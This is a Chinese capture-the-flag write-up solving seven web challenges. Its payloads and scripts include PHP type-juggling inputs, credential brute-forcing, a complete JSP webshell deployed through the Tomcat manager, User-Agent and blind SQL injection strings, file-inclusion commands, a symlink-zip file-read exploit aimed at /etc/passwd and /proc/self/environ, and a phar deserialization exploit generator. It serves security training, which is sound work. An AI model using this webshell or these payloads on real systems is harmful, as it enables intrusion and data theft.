第一题 1z_php
- <?php
- //Yeedo told you to study hard!
- echo !(!(!(!(include "flag.php")||(!error_reporting(0))||!isset($_GET['OoO'])||!isset($_GET['0o0'])||($_GET['OoO']==2023)||!(intval($_GET['OoO'][0])==2023)||$_GET['0o0']==$_GET['OoO']||!(md5($_GET['0o0'])==md5($_GET['OoO'])))))?$flag:str_repeat(highlight_file(__FILE__), 0);
代码审计
intval($_GET['OoO'][0])==2023
chatgpt给的回答,总之就是如果OoO这个数值intval转换不了整数2023,将会返回0
传入0o0参数和OoO(两个参数不一样),将2023赋值给OoO,此时OoO的数值用intval函数返回值为2023,此时将0o0自身与OoO进行弱比较相等,md5弱比较也相等的时候,通过三目运算符即可得到flag
也就是说,如果flag前的那一串表达式为真,则输出flag的值,如果为假,则输出为0
payload:/?OoO[]=2023.1&0o0[]=2023.a
/?0o0[]=2023aa&OoO[]=2023.111
intval函数的用法,可以直接看实例
intval函数会返回字符串的有效数字部分,会将小数部分截去,只保留整数部分。
echo intval(42); // 42
echo intval(42a); // 0
echo intval(42.1); // 42
echo intval(42.9); // 42
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8); // 42
echo intval('42', 8); // 34
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
?>
第二题 签到O.o?
打开题目,发现是关于Apache Tomcat/8.0.43的漏洞
随意的输入账号和密码点击登录,然后bp抓数据包
如果bp抓不到登录数据包,我们可以
在代理中的HTTP历史记录中选中要抓取的tomcat登录地址,右键选择添加到范围
在目标范围中便选中了我们要抓取的目标地址,这个时候便能重新登录抓取
发现是账号和密码base64加密
解码后发现账号和密码是以冒号连接,
格式为 账号:密码
然后我们选择用爆破,将账号和密码爆破出来
我们选择singer模式
并将Basic后面那串base64加密的账号密码Add$
Payloads设定为选择:Custom iterator
Custom iterator这里是指相当于把一条爆破语句拆成三个部分:账号:密码
第一部分加载用户字典,第二部分输入英文符号: ,第三部分加载密码字典
选择加密方式为Encode内的base64加密
去掉URL前的勾,因为爆破的时候他会将特殊字符URL编码,我们不需要他帮我们编码
登录后台后
我们在网上找到jsp一句话木马文件,密码passwd
- <%!
- class U extends ClassLoader {
- U(ClassLoader c) {
- super(c);
- }
- public Class g(byte[] b) {
- return super.defineClass(b, 0, b.length);
- }
- }
-
- public byte[] base64Decode(String str) throws Exception {
- try {
- Class clazz = Class.forName("sun.misc.BASE64Decoder");
- return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
- } catch (Exception e) {
- Class clazz = Class.forName("java.util.Base64");
- Object decoder = clazz.getMethod("getDecoder").invoke(null);
- return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
- }
- }
- %>
- <%
- String cls = request.getParameter("passwd");
- if (cls != null) {
- new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
- }
- %>
我们需要将jsp一句话木马文件压缩为zip文件,再将文件名后缀改为war,注意文件必须是jsp文件才能被解析,而不是txt文件
上传成功后会显示ok,我们用蚁剑连接我们上传的nmd.jsp木马文件
在根目录下找到了flag
第三题 1z_sql
给了源代码
- <?php
- error_reporting(0);
-
- $dbusername ='root'; //数据库名称设置和用户登录参数不能设置为一样
- $dbpassword ='root';
- $dbname ="kind";
- $servername = 'localhost';
-
- $conn = new mysqli($servername, $dbusername, $dbpassword, $dbname);
- if ($conn->connect_error) {
- die("连接失败: " . $conn->connect_error);
- }
- //echo "连接成功";
- function waf($str){
-
- $str=trim($str);
- $str=addslashes($str);
- $str=preg_replace("/\+|\*|\`|\/|\-|\$|\#|\^|\!|\@|\%|\&|\~|\^|\[|\]|\'|\)|\(|\"/", "", $str);//去除特殊符号+*`/-$#^~!@#$%&[]'"
- $str=preg_replace("/\s/", "", $str);//去除空格、换行符、制表符
-
- return $str;
-
- }
-
- function waf2($str){
- $black_list = "/=|and|union|if|sleep|length|substr|floor|updatexml/i";
- if(preg_match($black_list,$str))
- {
- echo "
"; - echo "你注你🐎呢";
- echo "
"; - }
- else{
- return $str;
- }
-
- }
-
- $uagent = $_SERVER['HTTP_USER_AGENT']; //在agent处进行注入
- $IP = $_SERVER['REMOTE_ADDR'];
-
-
- if(isset($_POST['username']) && isset($_POST['password']))
-
- {
- $username = waf($_POST['username']);
- $password = waf($_POST['password']);
- $uagent = waf2($uagent);
-
-
- $sql="SELECT username,password FROM sheet1 WHERE username='$username' and password='$password'";
- $result1 = mysqli_query($conn,$sql);
- $row1 = mysqli_fetch_array($result1);
- if($row1)
- {
- //echo '< font size = 3 >';
- $insert="INSERT INTO `uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent','$IP','$username')";//定义一个新表来写入内容,新表名称叫做uagents
- // echo $insert;
- // echo "
"; - mysqli_query($conn,$insert);
- //echo 'Your IP ADDRESS is: ' .$IP;
- echo "";
- //echo "
"; - //echo '';
- echo 'Your User Agent is: ' .$uagent;
- echo "";
- echo "
"; - print_r(mysqli_error($conn));
- echo "
"; - echo "
"; - //echo 'your uname is: '.$username;
-
- echo "不错嘛能登上,加油!看看回显信息有思路了没有?";
- }
- else
- {
- //echo '';
- //echo "Try again looser";
- //print_r(mysqli_error($conn));
- echo "";
- echo "";
- echo "";
- echo "这都不行?还不好好学?";
- }
- }
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <meta charset="utf-8">
- <title>真的很简单</title>
- </head>
- <body>
- <h1>登录</h1>
- <p>Here is a poor page!</p>
- <h2>
- <form method="post" action="PHP_SELF"]);?>">
- username: <input type="text" name="username"><br>
- password: <input type="password" name="password"><br>
- <input type="submit" name="登录" value="登录"/>
- </form>
- </h2>
- <h3>
-
-
- </h3>
- </body>
- </html>
代码审计
$uagent = $_SERVER['HTTP_USER_AGENT'];
:这一行获取用户的User-Agent信息
$IP = $_SERVER['REMOTE_ADDR'];
:这一行获取用户的IP地址。(remote_addr代表客户端的IP,但它的值不是由客户端提供的,而是服务端根据客户端的ip指定的,当你的浏览器访问某个网站时,假设中间没有任何代理,那么网站的web服务器就会把remote_addr设为你的机器IP,如果你用了某个代理,那么你的浏览器会先访问这个代理,然后由这个代理转发到网站,这样web服务器就会把remote_addr设为这台代理机器的IP)
if(isset($_POST['username']) && isset($_POST['password']))
:这是一个条件语句,用于检查是否已经提交了用户名和密码。
INSERT INTO uagents
:在用户成功登录后,代码试图将User-Agent和其他信息插入名为uagents
的数据库表。确保数据库表和字段名正确定义,并且数据库连接和查询操作都正确。
waf
函数用于对用户输入进行处理,包括去除特殊符号和空格
在代码的主要部分,它首先获取用户的User-Agent和IP地址。然后,它检查是否设置了 $_POST['username']
和 $_POST['password']
,这意味着它期望从HTML表单中接收用户名和密码。
如果用户名和密码都被设置,它将对它们进行 waf
处理,并构建一个SQL查询,以从数据库中检索匹配的用户名和密码。然后,它执行查询并获取结果。
如果查询结果中有匹配的用户名和密码,它将插入User-Agent、IP地址和用户名到名为 uagents
的表中,并输出一些信息,包括User-Agent和可能的数据库错误信息。
如果没有匹配的用户名和密码,它将输出一些错误消息。
我们可以随意输入账号和密码进行bp抓包,然后将账号和密码添加§,攻击类型选择集束炸弹,然后修改两个有效载荷,即可用bp同时爆破账号和密码
但是这里我们已知用户名为admin,爆破密码,得到密码为8888888
我们登录后台后,得到
这里涉及到ua注入,相关wp见:CTFHub(UA注入和Refer注入)-CSDN博客
UA也称User-Agent,当用户发起一个请求时,网站会通过判断 UA的数据,如(名称,版本,浏览器内核,内核版本)等等,来给不同的操作系统,不同的浏览器发送不同的页面
一般来说,普通的 SQL 注入是对 URL 及参数进行的,但这里攻击者却将 SQL 查询语句隐藏在了 HTTP 头部的User-Agent字段之中 ,也称UA注入
在HackBar实现ua注入,注意ua注入前要加空格
得到flag
payload:
1',2,(extractvalue(1,concat(0x5c,database(),0x5c))))#1',2,(extractvalue(1,concat(0x5c,(select group_concat(table_name) frominformation_schema.tables where table_schema like "kind"),0x5c))))# //sheet1 、 uagent1',2,(extractvalue(1,concat(0x5c,(select group_concat(column_name) frominformation_schema.columns where table_schema like "kind" && table_name like"sheet1"),0x5c))))# //username 、 password1',2,(extractvalue(1,concat(0x5c,(select group_concat(username,password) fromkind.sheet1),0x5c))))# //admin8888888,fllllaaagYunxi{1',2,(extractvalue(1,concat(0x5c,left((selectright(group_concat(username,password),33) from kind.sheet1),0x5c),10))))#//cb0fb8571956248eb37e8b0007571',2,(extractvalue(1,concat(0x5c,left((selectright(group_concat(username,password),10) from kind.sheet1),0x5c),10))))#//007572519}Yunxi{cb0fb8571956248eb37e8b0007572519}
第四题 1z_upload
这道题给了网站源码
爆破得到账号密码
账号admin,密码admin12345
登录后发现文件上传的注入点,但是网站源码限制了不能上传含有eval,get,post,php的一句话木马
那我们重新写个一句话木马,木马为jpg格式的
将木马传至注入点
在源码中发现了文件包含函数
我们到木马路径下去执行命令
在源文件中,我们发现jpg格式的图片都被存于以下路径下
payload:
admin_baohan.php?file=./bootstrap/img/hack.jpg
bthcls=var_dump(scandir('ls'));
bthcls=var_dump(file_get_contents('./flag.php'));
得到flag
第五题 1z_flask
相关wp见BUUCTF [HCTF 2018] Hide and seek_ctfhide and seek-CSDN博客
wp可见https://www.cnblogs.com/gxngxngxn/p/17439035.html
记[HCTF 2018]Hideandseek_[hctf 2018]hide and seek-CSDN博客
我们首先要了解一下软链接的概念
类同与windos的快捷方式,给文件创建一个快速的访问路径,它依赖于原文件,与普通文件没什么不同,inode 都指向同一个文件在硬盘中的区块。当原文件出现问题后,该链接不可用。
硬链接则是类似于文件备份
这里随便上传个zip格式的一句话木马,发现页面空白
软链接可以导致任意文件的读取,相关资料:软链接导致任意文件读取-腾讯云开发者社区-腾讯云
压缩一个软链接,类似于windows下的快捷方式,然后网站后台会解压读取该软链接指向的服务器上的文件,就能达到读取任意文件的效果。
ln -s /etc/passwd passwd
zip -y passwd.zip passwd
(zip -y命令是直接保存符号连接,而非该连接所指向的文件)
传入passwd.zip后,页面的回显
成功被页面执行后,我们制作能够任意读取flag的软链接
上传flag.zip的软链接后,页面无回显
我们猜测可能是账户权限不够,所以我们用admin登录
可以实现任意账号密码登陆,猜测可能没有数据库,而是通过Cookie判断,使用任意用户登陆,查看Cookie:
session=eyJ1c2VybmFtZSI6IjEifQ.GBFQ8g.HppAOJbZjDJnPPtADzlXFN6xu0
知识点:
相关链接:Flask干货:Flask数据交换——Session的使用 - 知乎
用python语言基于Werkzeug工具箱编写的轻量级web开发框架,它主要面向需求简单,项目周期短的小应用
Flask本身相当于一个内核,其他几乎所有的功能都要用到扩展,都需要用第三方的扩展来实现。Flask没有默认使用的数据库、窗体验证工具
Session就是一种记录用户状态的机制。Flask的Session是基于Cookie实现的,经过加密保存在服务端的键值对(sesson[‘name’]=’value’)中
因为Flask的Session是通过加密后放到Cookie中的,既然有加密就肯定有密钥,所以在使用Session模块时就一定要配置SECRET_KEY全局宏。一般我们可以自己设定一个随机字符串,例如:
app.config[‘SECRET_KEY’] = ‘XXXXXXX’
能不能导入os模块自动生成随机字符串呢?
能!但是不建议。因为服务器每次启动后SECRET_KEY的值会被改变,会造成Session验证失败,用户还需要重新登录。糟糕的用户体验,可能不用几天网站就倒闭了!
设置Session主要通过session[‘name’]=’value’方法来完成,name代表的是变量名称,value代表的是变量的值。
获取Session的值有两种方法,推荐使用第2种:
l result = session[‘name’]:如果内容不存在,将会报异常
l result = session.get(‘name’):如果内容不存在,将返回None
我们用session解密脚本
- import sys
- import zlib
- from base64 import b64decode
- from flask.sessions import session_json_serializer
- from itsdangerous import base64_decode
-
-
- def decryption(payload):
- payload, sig = payload.rsplit(b'.', 1)
- payload, timestamp = payload.rsplit(b'.', 1)
-
- decompress = False
- if payload.startswith(b'.'):
- payload = payload[1:]
- decompress = True
-
- try:
- payload = base64_decode(payload)
- except Exception as e:
- raise Exception('Could not base64 decode the payload because of '
- 'an exception')
-
- if decompress:
- try:
- payload = zlib.decompress(payload)
- except Exception as e:
- raise Exception('Could not zlib decompress the payload before '
- 'decoding the payload')
-
- return session_json_serializer.loads(payload)
-
-
- if __name__ == '__main__':
- print(decryption(sys.argv[1].encode()))
python3 flask-session-decode.py eyJ1c2VybmFtZSI6InRlc3QifQ.Et7HoQ.bJUvSzoorCsh7a3yjgnrN9vOUx4
我们在Linux下导入脚本,并执行命令,pip3 install flask-session,即可使用脚本解密
admin
用户,但伪造session还需要Flask的SECRET_KEY
值。因为已经通过软连接读取任意文件,可以通过读取/proc/self/environ文件,以获取当前进程的环境变量列表。
其中/proc是虚拟文件系统,存储当前运行状态的一些特殊文件,可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态,而environ是当前进程的环境变量列表
制作读取该文件的软链接
UWSGI_INI=/app/uwsgi.ini
,也就是uwsgi服务器的配置文件,其中可能包含有源码路径制作相关软链接后,
上传后得到页面回显
软链接读取文件的exp为
- import os
- import requests
- import sys
-
-
- def make_zip():
- os.system('ln -s ' + sys.argv[2] + ' test_exp')
- os.system('zip -y test_exp.zip test_exp')
-
-
- def run():
- make_zip()
- res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})
- print(res.text)
-
- os.system('rm -rf test_exp')
- os.system('rm -rf test_exp.zip')
-
-
- if __name__ == '__main__':
- run()
将文件设置保存为1.py,在kali下执行命令
python3 1.py http://192.168.31.60:8084/upl0ad /app/uwsgi.ini
得到内容为
可以看到其源码应是hard_t0_guess_bthclsbthcls.python_flask_edited_by_bthcls,使用EXP尝试读取源码:
输入命令
这里涉及到MySQL布尔盲注的知识点
基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True
(页面)和False
(页面)
我们先随便输入一个,页面返回nonono,猜测是布尔盲注
payload
'or(1<>1)#'or(length(database())>10)#'or(ord(substr(reverse(substr(database() from 1)) from 10))<>121)#'or(length((select(group_concat(password))from(yunxi_exam.users)))>0)#爆破表和字段password 是提示'or(length((select(group_concat(password))from(yunxi_exam.users)))>1)#'or(ord(substr(reverse(substr((select(group_concat(password))from(yunxi_exam.users))from(1)))from(37)))<>102)#'or(length((select(group_concat(hack123))from(yunxi_exam.bighacker2)))>1)#'or(ord(substr(reverse(substr((select(group_concat(hack123))from(yunxi_exam.bighacker2))from(1)))from(52)))<>87)#
第七题 1z_Upload2.0
bp爆破以后得到账号和密码为admin,abc123
在kali终端下用dirsearch扫描目录得到
要先在kali下安装dirsearch工具,可参考kali安装dirsearch工具以及使用_一颗努力的小白菜的博客-CSDN博客
命令dirsearch -u http://192.168.31.60:8082 -e*
发现robots.txt和www.zip
访问robots.txt得到页面回显
访问/i_am_here.php得到密文
base64解密后得到hint
访问www.zip后得到一个下载文件
发现需要解压密码,输入之前得到的hint即可解压
解压得到
add.php中的文件
- session_start();
- error_reporting(0);
- require_once "./functions/admin.php";
- $title = "Add new book";
- require "./template/header.php";
- // require "./functions/database_functions.php";
- // $conn = db_connect();
- $conn = mysqli_connect("mysql", "root", "bighacker", "obs_db");
- if(isset($_POST['add'])){
- $isbn = trim($_POST['isbn']);
- $isbn = mysqli_real_escape_string($conn, $isbn);
-
- $title = trim($_POST['title']);
- $title = mysqli_real_escape_string($conn, $title);
-
- $author = trim($_POST['author']);
- $author = mysqli_real_escape_string($conn, $author);
-
- $descr = trim($_POST['descr']);
- $descr = mysqli_real_escape_string($conn, $descr);
-
- $price = floatval(trim($_POST['price']));
- $price = mysqli_real_escape_string($conn, $price);
-
- $publisher = trim($_POST['publisher']);
- $publisherid = mysqli_real_escape_string($conn, $publisher);
-
- if (isset($_FILES['image']) && $_FILES['image']['name'] != "") {
- $image = $_FILES['image']['name'];
- // 检查文件名的扩展名是否已经是".php"
- $ext = pathinfo($image, PATHINFO_EXTENSION);
- // if (strtolower($ext) == 'php'|| strtolower($ext) == 'phtml' || strtolower($ext) == 'php5' || strtolower($ext) == 'php2') {
- if (strtolower($ext) == 'jpg'|| strtolower($ext) == 'png' || strtolower($ext) == 'gif' || strtolower($ext) == 'jpeg') {
- // 将文件名的扩展名替换为".jpg"
- // $image = pathinfo($image, PATHINFO_FILENAME) . '.jpg';
- $content=file_get_contents($_FILES["image"]["tmp_name"]);
- $pos = strpos($content, "__HALT_COMPILER();");
- if (gettype($pos) === "integer") {
- header("Location: admin_get_hack.php?id=666");
- exit();
- }
- else{
- //移动文件到上传目录
- $directory_self = str_replace(basename($_SERVER['PHP_SELF']), '', $_SERVER['PHP_SELF']);
- $uploadDirectory = $_SERVER['DOCUMENT_ROOT'] . $directory_self . "bootstrap/img/";
- $uploadDirectory .= $image;
- move_uploaded_file($_FILES['image']['tmp_name'], $uploadDirectory);
- }
- }
- else{
- header("Location: admin_get_hack.php?id=6");
- exit();
- }
- // elseif (strtolower($ext) != 'jpg') {
- // // 忽略其他后缀名并不做修改
- // $image = $_FILES['image']['name'];
- // }
-
- }
-
-
-
- $query = "INSERT INTO books (`book_isbn`, `book_title`, `book_author`, `book_image`, `book_descr`, `book_price`, `publisherid`) VALUES ('" . $isbn . "', '" . $title . "', '" . $author . "', '" . $image . "', '" . $descr . "', '" . $price . "', '" . $publisherid . "')";
- $result = mysqli_query($conn, $query);
- if($result){
- $_SESSION['book_success'] = "New Book has been added successfully";
- header("Location: admin_book.php");
- } else {
- $err = "Can't add new data " . mysqli_error($conn);
-
- }
- }
- ?>
-
class="fw-bolder text-center">Add New Bookh4>
- <center>
- <hr class="bg-warning" style="width:5em;height:3px;opacity:1">
- center>
- <div class="row justify-content-center">
- <div class="col-lg-6 col-md-8 col-sm-10 col-xs-12">
- <div class="card rounded-0 shadow">
- <div class="card-body">
- <div class="container-fluid">
- php if(isset($err)): ?>
- <div class="alert alert-danger rounded-0">
- = $_SESSION['err_login'] ?>
- div>
- php
- endif;
- ?>
- <form method="post" action="admin_add.php" enctype="multipart/form-data">
- <div class="mb-3">
- <label class="control-label">ISBNlabel>
- <input class="form-control rounded-0" type="text" name="isbn">
- div>
- <div class="mb-3">
- <label class="control-label">Titlelabel>
- <input class="form-control rounded-0" type="text" name="title" required>
- div>
- <div class="mb-3">
- <label class="control-label">Authorlabel>
- <input class="form-control rounded-0" type="text" name="author" required>
- div>
-
- <div class="mb-3">
- <label class="control-label">Imagelabel>
- <input class="form-control rounded-0" type="file" name="image">
- div>
- <div class="mb-3">
- <label class="control-label">Descriptionlabel>
- <textarea class="form-control rounded-0" name="descr" cols="40" rows="5">textarea>
- div>
- <div class="mb-3">
- <label class="control-label">Pricelabel>
- <input class="form-control rounded-0" type="text" name="price" required>
- div>
- <div class="mb-3">
- <label class="control-label">Publisherlabel>
- <select class="form-select rounded-0" name="publisher" required>
- <option value="" disabled selected>Please Select Hereoption>
- php
- $psql = mysqli_query($conn, "SELECT * FROM `publisher` order by publisher_name asc");
- while($row = mysqli_fetch_assoc($psql)):
- ?>
- <option value="= $row['publisherid'] ?>">= $row['publisher_name'] ?>option>
- php endwhile; ?>
- select>
- div>
- <div class="text-center">
- <button type="submit" name="add" class="btn btn-primary btn-sm rounded-0">Savebutton>
- <button type="reset" class="btn btn-default btn-sm rounded-0 border">Cancelbutton>
- div>
- form>
- div>
- div>
- div>
- div>
- div>
- php
- if(isset($conn)) {mysqli_close($conn);}
- require_once "./template/footer.php";
- ?>
shell.php文件
- error_reporting(0);
- header("Content-Type:text/html;charset=utf-8");
-
- //猫捉老鼠 小猫想要抓老鼠,但有一只恶狗,你能帮帮小猫咪吗?
- class mouse{
- public $v1;
- public function __toString(){
- echo "Good. You caught the mouse:";
- include($this->v1);
- }
- }
-
- class cat{
- public $a;
- public $b;
- public $c;
-
- public function __destruct(){
- $this->dog();
- $this->b = $this->c;
- echo $this->b."I found a mouse";
- die($this->a);
- }
- public function dog(){
- $this->a = "I'm a vicious dog, Kitty";
- }
- }
-
- $file=$_POST['file'];
- if(isset($_POST['file'])){
- if(preg_match("/flag|php|functions|models|static|template|gitattributes|database|controllers|bootstrap|controllers|proc/i",$file)){
- die("nonono");
- }
- else{
- echo file_get_contents($file);
- }
- }
- ?>
代码审计
以下代码发现他会把php,phtml,php5,php2,jepg,gif,png为后缀的文件上传后统一修改为jpg格式的
$image = $_FILES['image']['name'];
// 检查文件名的扩展名是否已经是".php"
$ext = pathinfo($image, PATHINFO_EXTENSION);
// if (strtolower($ext) == 'php'|| strtolower($ext) == 'phtml' || strtolower($ext) == 'php5' || strtolower($ext) == 'php2') {
if (strtolower($ext) == 'jpg'|| strtolower($ext) == 'png' || strtolower($ext) == 'gif' || strtolower($ext) == 'jpeg') {
// 将文件名的扩展名替换为".jpg"
// $image = pathinfo($image, PATHINFO_FILENAME) . '.jpg';
以下代码发现他会过滤/flag,php,$file等字符
$file=$_POST['file'];
if(isset($_POST['file'])){
if(preg_match("/flag|php|functions|models|static|template|gitattributes|database|controllers|bootstrap|controllers|proc/i",$file)){
die("nonono");
}
else{
echo file_get_contents($file);
}
考察phar反序列化
相关知识点:
参考文章:phar反序列化+两道CTF例题_ctf phar反序列化_Z3eyOnd的博客-CSDN博客
phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。(漏洞利用点)
什么是phar文件
在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发
php通过用户定义和内置的“流包装器”实现复杂的文件处理功能。内置包装器可用于文件系统函数,如(fopen(),copy(),file_exists()和filesize()。 phar://就是一种内置的流包装器
我们需要生成phar文件
- class mouse
- {
- public $v1="php://filter/read=convert.base64-encode/resource=flag.php";
- }
- class cat
- {
- public $a;
- public $b;
- public $c;
- }
- $m=new cat;
- $m->c=new mouse;
- // echo serialize($m);
- // Sobj= new Test();
- //$obj -> name = "quan9i";
- $phar = new Phar('exam.phar');
- $phar -> startBuffering();//开始缓冲 Phar 写操作
- $phar -> setStub('GIF89a'); //设置stub,添加gif文件头
- $phar ->addFromString('test.txt','test'); //要压缩的文件
- $phar -> setMetadata($m);//将自定义meta-data存入manifest
- $phar -> stopBuffering(); 停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
- ?>
脚本修改phar的文件绕过
- import gzip
- from hashlib import sha1
- with open('E:\\vscode\\vscode newfile\\phar\\exam.phar', 'rb') as file:
- f=file.read()
- s = f[:-28]#获取要签名的数据
- s = s.replace(b'3:{', b'4:{')#更换属性值,绕过_wakeup h=f[—8:] # 获取签名类型以及GBMB标识
- h = f[-8:]
- newf = s +sha1(s).digest() + h#数据+签名+(类型+GBMB)
- #print(newf)
- newf = gzip.compress(newf)#对Phar文件进行gzip压缩
- with open('E:\\vscode\\vscode newfile\\phar\\hack.jpg','wb')as file:#更改文件后缀 file.write(newf)
- file.write(newf)
会生成一个jpg的文件
文件上传点上传文件,并利用phar伪协议来查看flag
上传文件,找到了文件上传路径
bp抓包后
phar://.bootstrap/img/bthcls.jpg
得到的flag进行base64解密即可